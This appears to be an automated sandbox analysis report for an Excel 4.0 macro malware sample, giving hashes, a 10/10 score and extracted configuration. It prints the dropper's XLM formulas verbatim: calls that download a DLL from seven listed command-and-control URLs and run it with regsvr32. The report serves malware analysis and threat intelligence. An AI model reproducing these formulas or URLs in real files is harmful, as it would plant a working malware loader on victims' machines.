Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    6d86df3ecd3771c0118efb8acb97b10e43b90faf170a63cdfe66ca02229fb55b

  • Size

    48KB

  • Sample

    241111-zq9shszjel

  • MD5

    9fb8798fb5c1f6005fc5b2aaf432dfeb

  • SHA1

    daf4e6329ee9c1017508efcdd2ded3d607639b3f

  • SHA256

    6d86df3ecd3771c0118efb8acb97b10e43b90faf170a63cdfe66ca02229fb55b

  • SHA512

    cfa2018d8dff49785763c7ff2426974c13750d8d498fa6e82e1d07813bfc2cc54c40d151caf51f727764142e3833e4d2199a86a55a927b2207aa7defb51138c7

  • SSDEEP

    1536:ZlFXmY3B6Y8r7mfqN1+TpCgcgsMA6VIcrW:Zl1mG4YqVN1+TtRrW

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.arkpp.com/ARIS-BSU/9K1/

http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/

http://www.babylinesl.com/catalog/iVsl6YvlyIyX/

https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/

https://unada.us/acme-challenge/3NXwcYNCa/

https://automobile-facile.fr/wp-admin/QV/

https://alebit.de/css/gqKtdKmTsC4iDh/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.arkpp.com/ARIS-BSU/9K1/","..\fbd.dll",0,0) =IF('EGVEB'!D9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/","..\fbd.dll",0,0)) =IF('EGVEB'!D11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.babylinesl.com/catalog/iVsl6YvlyIyX/","..\fbd.dll",0,0)) =IF('EGVEB'!D13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/","..\fbd.dll",0,0)) =IF('EGVEB'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://unada.us/acme-challenge/3NXwcYNCa/","..\fbd.dll",0,0)) =IF('EGVEB'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://automobile-facile.fr/wp-admin/QV/","..\fbd.dll",0,0)) =IF('EGVEB'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alebit.de/css/gqKtdKmTsC4iDh/","..\fbd.dll",0,0)) =IF('EGVEB'!D21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\fbd.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.arkpp.com/ARIS-BSU/9K1/

xlm40.dropper

http://www.avrworks.com/mail/0Z4GbaKuDTGprJ/

xlm40.dropper

http://www.babylinesl.com/catalog/iVsl6YvlyIyX/

xlm40.dropper

https://physioacademy.co.uk/blog/Qs8QZTp0Z6nKf9YjVBMS/

xlm40.dropper

https://unada.us/acme-challenge/3NXwcYNCa/

Targets

    • Target

      6d86df3ecd3771c0118efb8acb97b10e43b90faf170a63cdfe66ca02229fb55b

    • Size

      48KB

    • MD5

      9fb8798fb5c1f6005fc5b2aaf432dfeb

    • SHA1

      daf4e6329ee9c1017508efcdd2ded3d607639b3f

    • SHA256

      6d86df3ecd3771c0118efb8acb97b10e43b90faf170a63cdfe66ca02229fb55b

    • SHA512

      cfa2018d8dff49785763c7ff2426974c13750d8d498fa6e82e1d07813bfc2cc54c40d151caf51f727764142e3833e4d2199a86a55a927b2207aa7defb51138c7

    • SSDEEP

      1536:ZlFXmY3B6Y8r7mfqN1+TpCgcgsMA6VIcrW:Zl1mG4YqVN1+TtRrW

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks